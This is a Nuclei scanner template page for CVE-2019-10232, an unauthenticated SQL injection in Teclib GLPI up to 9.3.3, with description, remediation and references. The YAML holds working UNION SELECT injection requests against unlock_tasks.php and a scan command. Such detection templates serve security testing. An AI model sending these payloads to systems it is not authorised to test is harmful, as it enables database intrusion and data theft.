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Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection

ID: CVE-2019-10232

Severity: critical

Author: RedTeamBrasil

Tags: cve,cve2019,glpi,sqli,injection,teclib-edition

Description

Section titled “Description”

Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and retrieve database records.

YAML Source

Section titled “YAML Source”
id: CVE-2019-10232


info:
  name: Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection
  author: RedTeamBrasil
  severity: critical
  description: Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and retrieve database records.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Teclib GLPI (9.3.4 or later) to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/advisories/GLPI_9.3.3_SQL_Injection.pdf
    - https://github.com/glpi-project/glpi/commit/684d4fc423652ec7dde21cac4d41c2df53f56b3c
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10232
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-10232
    cwe-id: CWE-89
    epss-score: 0.12149
    epss-percentile: 0.95246
    cpe: cpe:2.3:a:teclib-edition:gestionnaire_libre_de_parc_informatique:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: teclib-edition
    product: gestionnaire_libre_de_parc_informatique
  tags: cve,cve2019,glpi,sqli,injection,teclib-edition


http:
  - method: GET
    path:
      - "{{BaseURL}}/glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1"
      - "{{BaseURL}}/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1"


    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "-MariaDB-"
          - "Start unlock script"
        condition: and


    extractors:
      - type: regex
        regex:
          - "[0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}-MariaDB"
        part: body
# digest: 4a0a00473045022065288ffa08dc62f2b8706b55cf23fcf48c2b69d3b84c38bf98d2d46f2b43a426022100cba57353e7a71d01b578bbd11089e1244057e920406fe5d52136124f0d2d58da:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-10232.yaml"

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